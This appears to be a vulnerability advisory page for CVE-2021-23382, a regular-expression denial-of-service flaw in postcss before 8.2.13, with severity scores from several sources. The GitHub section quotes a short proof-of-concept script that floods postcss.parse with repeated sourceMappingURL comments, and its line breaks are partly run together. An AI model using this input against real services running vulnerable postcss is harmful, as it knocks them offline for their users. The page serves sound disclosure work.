CVE-2021-23382
JSON

5.3medium

Regular Expression Denial of Service (ReDoS)

Severity
5.3medium CVSS:3.1 by snyk
Exploit likelihood
2.58% (higher than 85% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
snyk
Also known as
GHSA-566m-qj78-rww5

Description

The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \/\*\s* sourceMappingURL=(.*).

Affected

Product or packageVersionsReported by
postcssfrom unspecified before 8.2.13CVE List
postcss (npm)from 8.0.0 before 8.2.13, before 7.0.36GitHub Advisory Database
postcss postcssbefore 7.0.36, from 8.0.0 before 8.2.13NVD

All scores

snyk5.3medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
GitHub5.3medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
NVD7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
NVD5.0medium CVSS:2.0AV:N/AC:L/Au:N/C:N/I:N/A:P

Classification

What each source says

CVE List

The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \/\*\s* sourceMappingURL=(.*).

GitHub Advisory Database

The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern

\/\*\s* sourceMappingURL=(.*)
PoC
var postcss = require("postcss")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i) try {
            postcss.parse(attack_str) var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        } catch (e) {
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        }
    }
}
NVD (es)

El paquete postcss versiones anteriores a 8.2.13, es vulnerable a una Denegación de Servicio de Expresión Regular (ReDoS) por medio de las funciones getAnnotationURL() y loadAnnotation() en la biblioteca lib/previous-map.js.&#xa0;Las expresiones regulares vulnerables son causadas principalmente por el subpatrón \/\*\s* sourceMappingURL=(.*)

References

Sources

SourceRecordLicence
CVE ListCVE-2021-23382 changed 2024-09-16CVE Terms of Use
GitHub Advisory DatabaseGHSA-566m-qj78-rww5 changed 2025-01-14CC-BY-4.0
NVDCVE-2021-23382 changed 2026-06-17Public domain